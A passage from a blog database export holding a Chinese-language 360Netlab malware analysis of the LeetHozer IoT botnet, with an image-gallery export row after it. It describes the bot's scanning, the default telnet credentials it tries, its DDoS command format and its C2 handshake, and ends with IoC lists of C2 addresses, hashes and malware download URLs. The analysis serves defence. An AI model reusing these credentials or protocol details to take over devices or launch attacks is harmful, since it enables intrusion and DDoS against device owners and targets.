|\n| -------------------------- | ------------------------------- |\n| **/dev/misc/watchdog** | **/bin/sh: ./a.out: not found** |\n| **w6gr2jqz3eag4ksi.onion** | |\n\nBot功能具体实现如下所示，\n\n1. 设置watchdog防止设备重启\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_dog-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_dog-1.png\" class=\"kg-image\"/></a>\n\n2. 通过PID文件实现Bot单例\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_pid-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_pid-1.png\" class=\"kg-image\"/></a>\n\n3. 扫描端口&漏洞利用&上报信息\n\n * 复用了mirai的快速端口扫描，扫描端口为9530\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_scan.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_scan.png\" class=\"kg-image\"/></a>\n\n * 利用漏洞开启telnetd服务，用以下的凭证尝试登录。\n\n ```\n root:xc3511\n root:xmhdipc\n root:klv123\n root:123456\n root:jvbzd\n root:hi3518\n root:tsgoingon\n ```\n\n \n\n * 上报成功登录的设备信息\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_report.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_report.png\" class=\"kg-image\"/></a>\n\n4. 接收C2指令，准备DDos攻击,不同版本支持的攻击命令有所差异。\n\n | version | command |\n | ------- | ------------------------ |\n | V1 | tcpraw |\n | v2 | tcpraw;icmpecho;udpplain |\n\n 但是攻击指令的数据格式是一样的，其结构为``Header(6 bytes),Option1,Option2...``，其中Option的结构为``Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding``, 下面以一个实际的攻击指令为例说明解析过程。\n\n ```\n 00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp\n 00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13\n 00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180....\n 00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d.\n ----------------------------------------------------------------------------\n Header: \t3E 00 3F 00 3A 00,小端方式解读数据\n \t\t\t\t0x003E\t\t---- xor key\n \t\t\t\t0x003A\t\t---- 0x3A xor 0x3E = 4 个Option\n Opt 1:\t\t01 00 08 00 04 00,小端方式解读数据\n \t\t\t\t0x0001\t\t----Type 1,Padding 4 bytes\n \t\t\t\t0x0008\t\t----Content length,len(\"udpplain\") = 8\n \t\t\t\t0x0004\t\t----Subtype 4,Contents为attack vector\n \t\t\tContents: udpplain\n \t\t\tPadding: 00 00 00 00\n \t\t\t\n Opt 2:\t\t01 00 0E 00 06 00,小端方式解读数据\n \t\t\t\t0x0001\t\t----Type 1,Padding 4 bytes\n \t\t\t\t0x000e\t\t----Content length\n \t\t\t\t0x0006\t\t----Subtype 6,Contents为attack target\n Contents: 139.28.218.180\n Padding: 00 00 00 00\n \t\t\t\n Opt 3:\t\t02 00 01 00 0c 00,小端方式解读数据\n \t\t\t\t0x0002\t\t----Type 2,No Padding\n \t\t\t\t0x0001\t\t----Type 2 忽略此字段，Contents长度为定长2 bytes\n 0x000c\t\t----Subtype 0xc,Contents为target port\n Contents: 80\n \n Opt 4:\t\t02 00 01 00 05 00,小端方式解读数据\n \t\t\t\t0x0002\t\t----Type 2,No Padding\n \t\t\t\t0x0001\t\t----Type 2 忽略此字段，Contenss长度为定长2 bytes\n \t\t\t\t0x0005\t\t----Subtype 0x05,Contents为攻击时长\n Contents: 0x0064\n ```\n\n \n\n### 通信协议\n\nLeetHozer使用过2种C2:Tor-C2以及IP-C2，比较奇怪的是在V2的Bot样本中两种C2同时存在，但是Tor-C2所在的的代码分枝不会被执行，我们有理由相信这个Botnet正在迭代开发中。\n\n1. Tor-C2，V1使用，V2出现但不使用。\n\n ```\n w6gr2jqz3eag4ksi.onion:31337\n ```\n\n2. IP-C2，V2使用。\n\n ```\n 37.49.226.171:31337\n ```\n\n无论是哪种C2，通信协议是一样的，只不过Tor-C2有一个通过Tor proxy建立连接的前置过程。Bot和C2建立连接后得经过2轮交互才真正上线成功。\n\n* 通过Tor proxy和C2建立连接\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_proxy.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_proxy.png\" class=\"kg-image\"/></a>\n\n Bot 样本内嵌代理列表如下\n\n ```\n 45.82.176.194:9034\n 91.236.251.131:9712\n 18.177.13.247:443\n 62.109.8.218:8888\n 82.99.213.98:9191\n 35.225.55.174:9251\n 194.99.22.206:9050\n 45.147.199.142:8060\n 47.104.188.20:8999\n 54.149.179.115:9050\n 195.128.102.178:9050\n 185.176.25.66:9002\n 54.188.106.141:9080\n 193.47.35.56:10000\n 88.193.137.205:9050\n 134.209.84.21:9119\n 194.58.111.244:9050\n 192.99.161.66:9050\n 193.47.35.53:9090\n 167.179.74.97:9251\n 185.30.228.141:9050\n ```\n\n \n\n* 第一轮交互\n\n Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundone.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundone.png\" class=\"kg-image\"/></a>\n\n 一些关键字段的含义\n\n | offset | length | content | field meaning |\n | ------ | ------- | ---------- | ------------- |\n | 0x00 | 2 bytes | 0x8f49 | source port |\n | 0x02 | 2 bytes | 0x7a69 | hardcode |\n | 0x04 | 4 bytes | 0x00004818 | hardcode |\n | 0x0e | 2 bytes | 0x0001 | first round |\n | 0x14 | 4 bytes | 0x0051cc | checksum |\n\n 其中checksum的计算如下所示\n\n ```\n step 1: calc the sum of the first 12 WORD\n \t\t(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000\n \t\t+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;\n step 2:(HWORD(sum) + LWORD(sum)) >> 16\n \t\t(0x0001+0x51CB) >> 16 = 0;\n step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff\n \t\t(0x0001+0x51cb) && 0xffff = 0x000051cc\n ```\n\n C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，部分数据将用于第二轮交互。\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundonec.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundonec.png\" class=\"kg-image\"/></a>\n\n | offset | length | content | field meaning |\n | ------ | ------- | ---------- | ------------- |\n | 0x04 | 4 bytes | 0x000070f1 | valid flag1 |\n | 0x08 | 4 bytes | 0x00004819 | valid flag2 |\n\n* 第二轮交互\n\n Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据，大部分数据来自一轮的C2的回包。\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png\" class=\"kg-image\"/></a>\n\n | offset | length | content | field meaning |\n | ------ | ------- | --------------------- | ----------------------- |\n | 0x00 | 8 bytes | 0x7a697a69,0x000070f1 | C2 reply in the round 1 |\n | 0x08 | 4 bytes | 0x000070f2 | hardcode |\n | 0x0e | 2 bytes | 0x0002 | second round |\n | 0x14 | 4 bytes | 0x00d665 | checksum |\n\n C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，Bot的上线过程完成。\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png\" class=\"kg-image\"/></a>\n\n | offset | length | content | field meaning |\n | ------ | ------- | ---------- | ------------- |\n | 0x04 | 4 bytes | 0x00002775 | valid flag1 |\n | 0x08 | 4 bytes | 0x000070f2 | valid flag2 |\n\n至此Bot与C2之间的身份查验完成，Bot开始等待C2下发指令，C2回包的第一字节指定了指令的类型。\n\n* 指令码：``0x00``表示心跳\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_heart-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_heart-1.png\" class=\"kg-image\"/></a>\n\n* 指令码：``0x01``表示上传Bot分组信息\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_group-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_group-1.png\" class=\"kg-image\"/></a>\n\n* 指令码：``非0x00``，``非0x01``，DDos攻击\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_attack-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_attack-1.png\" class=\"kg-image\"/></a>\n\n## 联系我们 \n感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab 上联系我们。\n\n\n## IoC list\n\n### C2\n\n```\nvbrxmrhrjnnouvjf.onion:31337 #v3\n37.49.226.171:31337 #v2\nw6gr2jqz3eag4ksi.onion:31337 #v1\n```\n\n### MD5\n\n```\n027d7e1cda6824bc076d0a586ea139f5\n05a485caf78eca390439b7c893c0354b\n068083b9d0820f3ac9cec10d03705649\n08e1b88305ad138a4509fb6b72ae3d31\n0a56855a6d56efe409c2b7a4c6113bcf\n0dee2c063085d0c5466137a3c32479f2\n0eecbfd368f821901f9ba758e267557a\n110ec534e1c60fc47f37739f03c1bb6a\n1111c252ee54c4a6614498e66cefb4e7\n11c1be44041a8e8ba05be9df336f9231\n121960341ab64a7e7686373dedfbc058\n128a53e447266e4d0e12adb7c0b43159\n129f41468303728b029def8dbc910e35\n177de1bf8f90cbcea50fd19c1e3e8cfe\n17b5d683d7b177760c8a2ffd749650b0\n1aba422e02f0fbff5189399e01e272d4\n21e7898b4b585b825d120c3b0fed8b8a\n242d0c9386f61c3ac9ddcdbcda724f3e\n25588d12bdbb4e4b1d946f2d5c89abf3\n273afac3320ddceb0e18671a3e878fa3\n2f066945cee892cc857d477d97d42d7c\n30c60cfb51896e5d06012ec6cf15c588\n3525d090ab1ab1739507ae1777a70b95\n37d9fd56ce685717f1180615f555754e\n3d24b9cafda55909fbfde16a5222b4d8\n3f88cbbcaa3e0b410dcdb18ddb68d4c2\n4229c19e6e5c2dc8560fae9b35841957\n45a30d656b4767bce0058f80b0895a95\n4e22d0079c18043b6d9037fb842d94ee\n58a13abe621acc532b1b6d26eb121c61\n5ed891c31bc86689cb93488f5746404a\n5fafdc3e3ed7c38a204234e0146e5663\n5fec7347f2a9a2ae798505135a61c47f\n60bb6bf05c3e7f6f13f2374511963f79\n669e5f3513ebfa9c30766da294036d6e\n6c883cf42d63a672815e38223d241662\n6e7e638d27971e060aaee1b9ae43fe4a\n76d0285f95fbee81cff81948d5a98db0\n7b08a0569506174463c83f50f8d65a8f\n84d39f46c4694e176d8734dd53a07c2c\n86072e88f28ebf357443300656c0349a\n88a39f5bb8e271f3d080a9aaa6c4a44a\n8dc36df1617d9c2be576fa02a5c24803\n8e7d774441229809c9cfa8d8705b5258\n90a63857f31714ff2c285eb6ca9af3d1\n919308996155d7a9ec2f7a25a64eb759\n91fe795b69880972e30929632d359b52\n9a63001fe8f2d2d642bc2c8310a429e0\n9c95be6e1e9927cc0171fc344fcceb71\na42550641cc709168c145b5739fca769\na579d46a571e123a9d65dcfe21910c87\na76fdf5b2f817dc1f2e3c241d552b9ae\naa469ab3eb6789104bda30c910f063f5\nb0276d96976dd6b805a02141e78df927\nb35733792393a08408773a141a94f668\nb84fb91f818a2b221833cb6499e5d345\nbd28cdf60b03fc302b0ed467b3ea7e43\nc6e9c7e7b5370441b379fd0032af4a85\ncc42951a01c07dc7034251fdcd08c778\ncce2f84c925f30ba11afd817bdae9377\nd9d2c7e131e2f19985fffe9a1f38bca1\ndb6b387ba0f1ab17785de63be55e7fb6\ndeb66817f026c50d6e78ace69db6f0e6\ne8e249712b7ad0bb92ac5ebb1d0f3378\ne9ee7ea21696c9e01257c7543d344487\neb210bc6a54c1faef3cc043d767a4c3b\necf26cb853f2d22b705334cd9acdd3c2\nf4aa925fb0d0eda1bdd4b52eecd7d870\nfdd05db406a03601b9548aa7a1d07bb6\n```\n\n\n### Downloader\n\n```\nhttp://185[.172.110.224/ab/i586\nhttp://185[.172.110.224/ab/i686\nhttp://185[.172.110.224/uc/i686\nhttp://185.225.19.57/aq/rxrg\nhttp://188[.214.30.178/arm6\nhttp://188[.214.30.178/arm7\nhttp://188[.214.30.178/bot.arm\nhttp://188[.214.30.178/bot.arm7\nhttp://188[.214.30.178/bot.mips\nhttp://188[.214.30.178/bot.mpsl\nhttp://188[.214.30.178/bot.x86\nhttp://188[.214.30.178/tn/arm\nhttp://188[.214.30.178/tn/arm7\nhttp://188[.214.30.178/tn/mips\nhttp://188[.214.30.178/tn/mpsl\nhttp://190[.115.18.144/arm6\nhttp://190[.115.18.144/arm7\nhttp://190[.115.18.144/bot.arm\nhttp://190[.115.18.144/bot.arm7\nhttp://190[.115.18.144/bot.mips\nhttp://190[.115.18.144/bot.mpsl\nhttp://190[.115.18.144/bot.x86\nhttp://190[.115.18.144/tn/arm\nhttp://190[.115.18.144/tn/arm7\nhttp://190[.115.18.144/tn/mips\nhttp://190[.115.18.144/tn/mpsl\nhttp://37[.49.226.171/bins/mirai.arm\nhttp://37[.49.226.171/bins/mirai.arm7\nhttp://37[.49.226.171/bins/mirai.mpsl\nhttp://37[.49.226.171/bins/mirai.sh4\nhttp://37[.49.226.171/bins/mirai.x86\nhttp://37[.49.226.171/mirai.arm\nhttp://37[.49.226.171/mirai.arm7\nhttp://37[.49.226.171/mirai.mpsl\nhttp://37[.49.226.171/mirai.sh4\nhttp://37[.49.226.171/mirai.x86\nhttp://64[.225.64.58/arm\nhttp://64[.225.64.58/arm5\nhttp://64[.225.64.58/arm6\nhttp://64[.225.64.58/arm7\nhttp://64[.225.64.58/bot.arm\nhttp://64[.225.64.58/bot.arm7\nhttp://64[.225.64.58/bot.mips\nhttp://64[.225.64.58/bot.mpsl\nhttp://64[.225.64.58/bot.x86\nhttp://64[.225.64.58/i586\nhttp://64[.225.64.58/i686\nhttp://64[.225.64.58/m68k\nhttp://64[.225.64.58/mips\nhttp://64[.225.64.58/mpsl\nhttp://64[.225.64.58/sh4\nhttp://64[.225.64.58/spc\nhttp://64[.225.64.58/x86\n```\n\n### IP\n```\n185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd\n185.225.19.57 Romania ASN39798 MivoCloud_SRL\n37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited\n64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC\n188.214.30.178 Romania ASN51177 THC_Projects_SRL\n190.115.18.144 Russian ASN262254 DANCOM_LTD\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5ea035147646030007b2755a |
post | null | 2020-04-22T12:20:19.000Z | 63873b9a8b1c1e0007f52f6e | alexs-blog | 0 | 2023-01-09T03:08:52.000Z | public | draft | null | null | alex's blog gallery | <!--kg-card-begin: markdown--><p><img src="__GHOST_URL__/content/images/2020/04/hozer_attack-1.png" alt="hozer_attack-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_cmd-1.png" alt="hozer_cmd-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_commu-1.png" alt="hozer_commu-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_dog-1.png" alt="hozer_dog-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_flow-1.png" alt="hozer_flow-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_group-1.png" alt="hozer_group-1" loading="lazy"><img src="__GHOST_URL__/content/images/2020/08/mooleet_proxy.PNG" alt="mooleet_proxy" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG" alt="mooleet_rand" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG" alt="mooleet_reg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG" alt="mooleet_torcc" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/mooleet_torpart.PNG" alt="mooleet_torpart" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/mooleet_view.PNG" alt="mooleet_view" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_hardc2-1.png" alt="hozer_hardc2-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_heart-1.png" alt="hozer_heart-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_pid-1.png" alt="hozer_pid-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_proxy.png" alt="hozer_proxy" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_report.png" alt="hozer_report" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_roundone.png" alt="hozer_roundone" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_roundonec.png" alt="hozer_roundonec" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png" alt="hozer_roundtwo" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png" alt="hozer_roundtwoc" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_scan.png" alt="hozer_scan" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/hozer_version.png" alt="hozer_version" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/04/LeetHozer_flow.png" alt="LeetHozer_flow" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/moo_atk.png" alt="moo_atk" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/moo_head.png" alt="moo_head" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/moo_heart.png" alt="moo_heart" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/moo_reg.png" alt="moo_reg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/moo_tail.png" alt="moo_tail" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/moo_xor.png" alt="moo_xor" loading="lazy"><img src="__GHOST_URL__/content/images/2020/07/moo_tail-1.png" alt="moo_tail-1" loading="lazy"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_attack.png" alt="bigviktor_attack" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_brief.png" alt="bigviktor_brief" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_de.png" alt="bigviktor_de" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_first5.png" alt="bigviktor_first5" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png" alt="bigviktor_pcap" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_raw.png" alt="bigviktor_raw" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_rc.png" alt="bigviktor_rc" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_single.png" alt="bigviktor_single" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_sjpeg.png" alt="bigviktor_sjpeg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigviktor_task.png" alt="bigviktor_task" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bigvitor_deres.png" alt="bigvitor_deres" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/07/bikviktor_white.png" alt="bikviktor_white" loading="lazy"><img src="__GHOST_URL__/content/images/2020/08/!%5Bmooleet_proxy-1%5D(/content/images/2020/08/mooleet_proxy-1.PNG)!%5Bmooleet_illegal%5D(/content/images/2020/08/mooleet_illegal.PNG)" alt="mooleet_torpart-1" loading="lazy"><img src="__GHOST_URL__/content/images/2020/08/wschat_botshake.PNG" alt="wschat_botshake" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/wschat_c2shake.PNG" alt="wschat_c2shake" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/wschat_enc.PNG" alt="wschat_enc" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/wschat_prctl.PNG" alt="wschat_prctl" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/wschat_single.PNG" alt="wschat_single" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/wschat_socket.PNG" alt="wschat_socket" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/wschat_standard.PNG" alt="wschat_standard" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/08/wschat_vector.PNG" alt="wschat_vector" loading="lazy"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG" alt="specter_drop_conf" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG" alt="specter_drop_decode" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG" alt="specter_drop_run" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG" alt="specter_drop_setconf" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_flow.PNG" alt="specter_flow" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG" alt="specter_loader_cmd" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG" alt="specter_loader_commfst" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG" alt="specter_loader_commhijack" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG" alt="specter_loader_config" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG" alt="specter_loader_decode" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG" alt="specter_loader_device" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG" alt="specter_loader_ssl" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG" alt="specter_loader_syscall" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG" alt="specter_packet_info" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG" alt="specter_packet_proof" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG" alt="specter_plugin_decode" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG" alt="specter_plugin_file" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG" alt="specter_plugin_shell" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG" alt="specter_plugin_socket" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG" alt="specter_plugin_ssf" loading="lazy"><img src="__GHOST_URL__/content/images/2020/09/wschat_report.PNG" alt="wschat_report" loading="lazy"><img src="__GHOST_URL__/content/images/2020/09/wschat_update.PNG" alt="wschat_update" loading="lazy"><a href="http://"></a><img src="__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG" alt="wschat_revshell" loading="lazy"><br>
<img src="!%5Bwschat_vectors%5D(/content/images/2020/09/wschat_vectors.PNG)" alt="wschat_proxy" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG" alt="wschat_runcmd" loading="lazy"><img src="__GHOST_URL__/content/images/2020/09/wschat_compare.PNG" alt="wschat_compare" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/wschat_kill.PNG" alt="wschat_kill" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2020/09/wschat_finalvector.PNG" alt="wschat_finalvector" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2020/09/wschat_finalvector-1.PNG" alt="wschat_finalvector-1" loading="lazy"><img src="__GHOST_URL__/content/images/2020/10/newmozi_compare.PNG" alt="newmozi_compare" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_error.PNG" alt="newmozi_error" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_ip.PNG" alt="newmozi_ip" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_mirai.PNG" alt="newmozi_mirai" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_upnp.PNG" alt="newmozi_upnp" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_version.PNG" alt="newmozi_version" loading="lazy"><img src="__GHOST_URL__/content/images/2020/10/newmozi_ddos.PNG" alt="newmozi_ddos" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_heartbeat.PNG" alt="newmozi_heartbeat" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_initmsg.PNG" alt="newmozi_initmsg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_upnp-1.PNG" alt="newmozi_upnp-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/10/newmozi_vt.PNG" alt="newmozi_vt" loading="lazy">!<br>
<a href="__GHOST_URL__/content/images/2020/11/ngio_compare.PNG">ngio_compare</a></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG" alt="ngiov1_dga" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG" alt="ngiov1_entry" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG" alt="ngiov1_packet" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG" alt="ngiov2_aes" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG" alt="ngiov2_aesdec" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG" alt="ngiov2_cipher" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG" alt="ngiov2_dga" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG" alt="ngiov2_packet" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG" alt="ngiowebv2_plain" loading="lazy"><img src="__GHOST_URL__/content/images/2020/11/ngio_compare-1.PNG" alt="ngio_compare-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ttint_finalvector.jpg" alt="ttint_finalvector" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg" alt="ttint_enfinalvector" loading="lazy"><img src="__GHOST_URL__/content/images/2020/11/newmozi_dip.png" alt="newmozi_dip" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/newmozi_login.png" alt="newmozi_login" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/newmozi_network.jpg" alt="newmozi_network" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/newmozi_stub.png" alt="newmozi_stub" loading="lazy"><img src="__GHOST_URL__/content/images/2020/11/newmozi_confbot.PNG" alt="newmozi_confbot" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/newmozi_soso.PNG" alt="newmozi_soso" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2020/11/newmozi_network_cn.png" alt="newmozi_network_cn" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/11/newmozi_network_en.png" alt="newmozi_network_en" loading="lazy"><img src="__GHOST_URL__/content/images/2020/12/amai_attack.jpg" alt="amai_attack" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_chmod.jpg" alt="amai_chmod" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_dec.jpg" alt="amai_dec" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_ins.jpg" alt="amai_ins" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_killproc.jpg" alt="amai_killproc" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_prctl.jpg" alt="amai_prctl" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_reboot.jpg" alt="amai_reboot" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_reg.jpg" alt="amai_reg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_reportproc.jpg" alt="amai_reportproc" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_show.png" alt="amai_show" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_single.jpg" alt="amai_single" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_telrep.jpg" alt="amai_telrep" loading="lazy"><img src="__GHOST_URL__/content/images/2021/01/444.png" alt="444" loading="lazy"></p>
